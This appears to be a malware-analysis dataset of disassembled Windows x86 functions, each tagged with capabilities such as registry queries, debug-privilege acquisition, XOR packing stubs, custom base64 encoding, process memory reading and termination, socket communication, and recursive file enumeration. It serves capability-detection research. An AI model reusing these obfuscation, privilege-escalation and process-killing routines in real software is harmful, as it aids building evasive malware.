joyce8/EMBER2024-capa huggingface dataset:
Function at 0xf05d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xf05d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xf05d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xf05d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xf05d94
push eax
push esi
call fcn.00f0820b
add esp, 8
pop esi
ret 0x10

Function at 0xf05da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xf05e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xf05e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xf1e320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00f07dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xf05dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xf05e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xf05ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xf05eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xf1e320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00f07dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xf05eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xf05e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xf06000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xf06131
push esi
call fcn.00f09145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00ef8080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xf06131
push 0
push ebp
call fcn.00ef83a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00ef8260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xf0608b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00ef82f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xf06121
push 0xf1e918
push edi
call fcn.00f073f0
push eax
push ebx
push esi
call fcn.00f05f60
push 0xf1e8f8
push edi
call fcn.00f073f0
push eax
push ebx
push esi
call fcn.00f05f60
push 0xf1e8d8
push edi
call fcn.00f073f0
push eax
push ebx
push esi
call fcn.00f05f60
push 0xf1e8c0
push edi
call fcn.00f073f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00f05f60
push 0xf1e8a0
push edi
call fcn.00f073f0
push eax
push ebx
push esi
call fcn.00f05f60
push 0xf1e888
push edi
call fcn.00f073f0
push eax
push ebx
push esi
call fcn.00f05f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xf071b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00f07140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00f07140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00f07140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00f07140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xf07bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xf07c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xf1987c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xf07c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xf07c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x4bba5062
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
mov esi, 0x4ea611dc
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x10], eax
cmp esi, dword [ebp + 0x10]
jge 0x401191
mov eax, dword [ebp - 0x10]
push 3
pop edx
cmp eax, edx
mov dword [ebp - 0xc], edx
jge 0x401032
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov eax, 0x3d3d3d3d
lea edi, [ebp - 4]
stosw word es:[edi], ax
test ecx, ecx
stosb byte es:[edi], al
jle 0x401059
mov eax, dword [ebp + 8]
lea edi, [ebp - 4]
add esi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, edx
rep movsb byte es:[edi], byte [esi]
mov cl, byte [ebp - 4]
mov al, cl
shr al, 2
test ebx, ebx
mov byte [ebp - 1], al
je 0x40108e
mov edi, dword [ebp + 0x14]
test edi, edi
jle 0x401096
mov eax, ebx
mov esi, dword [ebp + 0xc]
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x401099
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
jmp 0x401099
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x14]
jmp 0x401099
mov esi, dword [ebp + 0xc]
movzx eax, byte [ebp - 1]
mov edx, dword [str.xrpvtjhnlb_fdZXRPVTJHN8__2064_.____]
and cl, 3
shl cl, 4
mov al, byte [eax + edx]
mov byte [ebx + esi], al
mov al, byte [ebp - 3]
mov dl, al
inc ebx
shr dl, 4
add cl, dl
test ebx, ebx
je 0x4010df
test edi, edi
jle 0x4010df
mov eax, ebx
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x4010dc
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
mov al, byte [ebp - 3]
mov edx, dword [str.xrpvtjhnlb_fdZXRPVTJHN8__2064_.____]
and al, 0xf
movzx ecx, cl
shl al, 2
mov cl, byte [ecx + edx]
mov byte [ebx + esi], cl
mov cl, byte [ebp - 2]
mov dl, cl
inc ebx
shr dl, 6
add al, dl
test ebx, ebx
mov byte [ebp - 1], al
je 0x401123
test edi, edi
jle 0x401123
mov eax, ebx
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x401123
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
movzx eax, byte [ebp - 1]
mov edx, dword [str.xrpvtjhnlb_fdZXRPVTJHN8__2064_.____]
mov al, byte [eax + edx]
mov byte [ebx + esi], al
inc ebx
cmp dword [ebp - 0xc], 2
jg 0x40113f
mov byte [ebx + esi - 1], 0x3d
and cl, 0x3f
test ebx, ebx
je 0x401164
test edi, edi
jle 0x401164
mov eax, ebx
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x401164
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
movzx eax, cl
mov ecx, dword [str.xrpvtjhnlb_fdZXRPVTJHN8__2064_.____]
mov al, byte [eax + ecx]
mov byte [ebx + esi], al
inc ebx
cmp dword [ebp - 0xc], 1
jg 0x40117f
mov byte [ebx + esi - 1], 0x3d
mov esi, dword [ebp - 0x14]
add esi, 3
sub dword [ebp - 0x10], 3
mov dword [ebp - 0x14], esi
jmp 0x401019
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x401198
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 4
push 0x410252
call fcn.0040347e
pop ecx
pop ecx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401282
push ebx
push esi
push edi
mov ebx, 0x41098b
push eax
push ebx
call fcn.004034ae
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 0x110]
push 0x104
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x401276
lea eax, [ebp - 0x110]
push eax
call fcn.0040c7c8
xor edi, edi
pop ecx
cmp dword [ebp - 0xc], edi
jle 0x40126e
push edi
push ebx
call fcn.0040347e
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403c88
add esp, 0x10
test eax, eax
je 0x401268
push 0x410b93
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401268
push 2
push str.04_
call fcn.0040347e
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401261
lea ecx, [ebp - 0x110]
push ecx
push dword [ebp - 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x40120f
inc dword [ebp - 8]
jmp 0x4011df
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401284
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
lea eax, [ebp + 0xc]
push esi
and dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, 0x400
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012b8
xor eax, eax
jmp 0x4013a4
push ebx
push edi
mov edi, 0x41098b
push 0
push edi
call fcn.004034ae
pop ecx
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 8]
xor ebx, ebx
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0xc], esi
push eax
mov dword [ebp - 8], esi
push dword [ebp - 4]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x401397
cmp dword [ebp - 0x10], 1
je 0x40130f
and byte [ebp - 0x814], al
lea eax, [ebp - 0x414]
push eax
call fcn.0040c7c8
lea eax, [ebp - 0x814]
push eax
call fcn.0040c7c8
cmp dword [ebp + 8], 0
pop ecx
pop ecx
jle 0x40138f
push ebx
push edi
call fcn.0040347e
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00403c88
add esp, 0x10
test eax, eax
jne 0x401379
push dword [ebp - 0x14]
lea eax, [ebp - 0x814]
push eax
call fcn.00403c88
pop ecx
test eax, eax
pop ecx
jne 0x401379
lea eax, [ebp - 0x414]
push 0x40f034
push eax
call fcn.00407660
pop ecx
test eax, eax
pop ecx
jne 0x401389
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x40132f
inc dword [ebp - 4]
jmp 0x4012cc
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
pop esi
leave
ret 8
Function at 0x4013fa
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push ebx
push 0x40f0c0
call fcn.00407840
xor ebx, ebx
mov dword [esp], str.0r0_
push ebx
mov dword [ebp - 0x14], eax
call fcn.00405449
push ebx
push 0x410bc5
call fcn.004034ae
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x444]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp + 8]
mov dword [ebp - 0x340], 0x224
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x18], eax
push ecx
push eax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x4015ef
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407750
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.0040c920
add esp, 0x10
test eax, eax
je 0x4015ef
push dword [ebp - 0x338]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x4015ef
push esi
mov esi, 0x80000
push edi
push esi
mov edi, 0x4131d0
push ebx
push edi
call fcn.004076f0
mov eax, dword [ebp - 0x328]
add esp, 0xc
cmp eax, esi
jb 0x4014e1
mov eax, esi
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 8], ebx
jne 0x401506
lea ecx, [ebp - 8]
push ecx
push eax
push edi
push dword [ebp - 0x32c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4015e1
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x4015e1
push dword [ebp + 8]
push 0x410bc5
call fcn.0040347e
push eax
mov dword [ebp - 0x10], eax
call fcn.00407840
xor esi, esi
add esp, 0xc
cmp dword [ebp + 0xc], esi
mov ebx, eax
je 0x40153c
lea eax, [ebx + 0x6e]
mov dword [ebp - 8], eax
jmp 0x40153f
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 0xa
je 0x4015d2
push dword [ebp - 0x14]
lea edi, [esi + 0x4131d0]
push edi
push 0x40f0c0
call fcn.0040c870
add esp, 0xc
test eax, eax
je 0x4015cb
cmp dword [ebp + 0xc], 0
jne 0x40158b
push ebx
push edi
push dword [ebp - 0x10]
call fcn.0040c870
add esp, 0xc
test eax, eax
je 0x40158b
mov eax, dword [ebp - 8]
inc esi
sub eax, ebx
sub eax, 0xa
cmp esi, eax
jb 0x40154a
jmp 0x4015d2
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0x410df0
call fcn.0040347e
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00403c88
add esp, 0x10
test eax, eax
jne 0x4015cb
lea eax, [ebp - 0x11c]
push eax
call fcn.00403f05
pop ecx
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp + 8], eax
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x401512
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop ebx
pop edi
pop esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x403222
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push 1
lea eax, [ebp - 0x190]
pop ebx
mov esi, ecx
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
movsx eax, word [ebp + 0xc]
dec eax
dec eax
jne 0x40324c
push 2
pop ebx
movsx eax, bx
push 6
push eax
push 2
call dword [sym.imp.WS2_32.dll_socket]
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [esi], eax
pop esi
setne cl
mov eax, ecx
pop ebx
leave
ret 0xc

Function at 0x40326c
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp + 0xc]
push eax
mov ecx, esi
push dword [ebp + 8]
mov word [ebp - 0x10], 2
call fcn.0040330f
mov eax, dword [ebp + 0xc]
push 0x10
mov byte [ebp - 0xc], al
mov al, byte [ebp + 0xe]
mov byte [ebp - 0xa], al
mov al, byte [ebp + 0xf]
mov byte [ebp - 0xb], ah
mov byte [ebp - 9], al
lea eax, [ebp - 0x10]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
pop esi
je 0x4032c8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
jmp 0x4032cb
push 1
pop eax
leave
ret 8

Function at 0x4032cf
Capabilities:
Send data
Send data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx]
call dword [sym.imp.WS2_32.dll_send]
ret 0xc

Function at 0x4032e6
Capabilities:
Receive data
Receive data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx]
call dword [sym.imp.WS2_32.dll_recv]
ret 0xc

Function at 0x40330f
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 1
xor esi, esi
pop ebx
mov dword [ebp - 8], ecx
push edi
mov dword [ebp - 4], esi
call fcn.00407840
test eax, eax
pop ecx
jle 0x40335c
mov al, byte [esi + edi]
cmp al, 0x2e
jne 0x40333c
inc dword [ebp - 4]
jmp 0x403346
cmp al, 0x30
jl 0x403344
cmp al, 0x39
jle 0x403346
xor ebx, ebx
push edi
inc esi
call fcn.00407840
cmp esi, eax
pop ecx
jl 0x403330
test ebx, ebx
je 0x40336e
cmp dword [ebp - 4], 3
je 0x403360
xor eax, eax
jmp 0x40339a
push dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
push edi
call fcn.004033a1
jmp 0x403397
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test esi, esi
je 0x403397
xor eax, eax
mov ecx, dword [esi + 0xc]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ecx]
mov cl, byte [ecx + eax]
mov byte [eax + edx], cl
inc eax
cmp eax, 4
jl 0x403383
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4035d8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 8], 0
cmp dword [ebp + 0xc], 0
push ebx
mov cl, byte [eax]
mov al, byte [eax + 1]
push esi
push edi
mov byte [ebp - 2], cl
mov byte [ebp - 1], al
jle 0x40362c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 0xc], eax
mov al, byte [eax]
mov byte [ebp + 0x13], al
pushal
mov al, byte [ebp + 0x13]
mov cl, byte [ebp - 2]
rol al, cl
xor al, byte [ebp - 1]
mov byte [ebp + 0x13], al
popal
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + 0x13]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jl 0x4035f9
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403634
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 8], 0
cmp dword [ebp + 0xc], 0
push ebx
mov cl, byte [eax]
mov al, byte [eax + 1]
push esi
push edi
mov byte [ebp - 2], cl
mov byte [ebp - 1], al
jle 0x403688
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 0xc], eax
mov al, byte [eax]
mov byte [ebp + 0x13], al
pushal
mov al, byte [ebp + 0x13]
mov cl, byte [ebp - 2]
xor al, byte [ebp - 1]
ror al, cl
mov byte [ebp + 0x13], al
popal
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + 0x13]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jl 0x403655
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403dc6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x20
push 2
push esi
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp + 8], esi
cmp edi, 0xffffffff
je 0x403e10
cmp dword [ebp + 0xc], esi
je 0x403e10
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x403e12
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x403e16
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push 0
push 0x27
push 3
push 0
push 3
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
and dword [ebp + 8], 0
mov edi, eax
or ebx, 0xffffffff
cmp edi, ebx
je 0x403e5d
lea eax, [ebp + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebp + 8], 0
mov ebx, eax
je 0x403e56
or ebx, 0xffffffff
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
pop ebp
ret
Function at 0x403e97
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push 4
push 5
lea eax, [ebp - 0x14]
push 2
push eax
call fcn.0040372f
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push esi
push 0
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push esi
call fcn.00403f05
push esi
call fcn.00407840
pop ecx
pop ecx
dec eax
js 0x403ef3
cmp byte [eax + esi], 0x2e
jne 0x403eea
add eax, esi
push 0x4101dc
push eax
call fcn.00407750
pop ecx
pop ecx
pop esi
leave
ret

Function at 0x403f05
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x20
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x403f1c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
xor esi, esi
push eax
call fcn.00407750
lea eax, [ebp - 0x208]
push eax
call fcn.00407840
add esp, 0xc
test eax, eax
je 0x403f62
cmp byte [ebp + eax - 0x209], 0x5c
lea eax, [ebp + eax - 0x209]
jne 0x403f62
and byte [eax], 0
push 1
pop esi
lea eax, [ebp - 0x208]
push str..
push eax
call fcn.00407760
pop ecx
lea eax, [ebp - 0x348]
pop ecx
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x404068
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00407750
pop ecx
test esi, esi
pop ecx
jne 0x403fbc
lea eax, [ebp - 0x104]
push 0x40f044
push eax
call fcn.00407760
pop ecx
pop ecx
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00407760
test byte [ebp - 0x348], 0x10
pop ecx
pop ecx
je 0x404035
lea eax, [ebp - 0x31c]
push 0x40f0ac
push eax
call fcn.00407660
pop ecx
test eax, eax
pop ecx
je 0x40404b
lea eax, [ebp - 0x31c]
push 0x40f0a8
push eax
call fcn.00407660
pop ecx
test eax, eax
pop ecx
je 0x40404b
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 1
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x40404b
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push eax
call fcn.00403f1c
add esp, 0xc
jmp 0x40404b
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 0
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x404061
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403f94
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
xor eax, eax
pop esi
leave
ret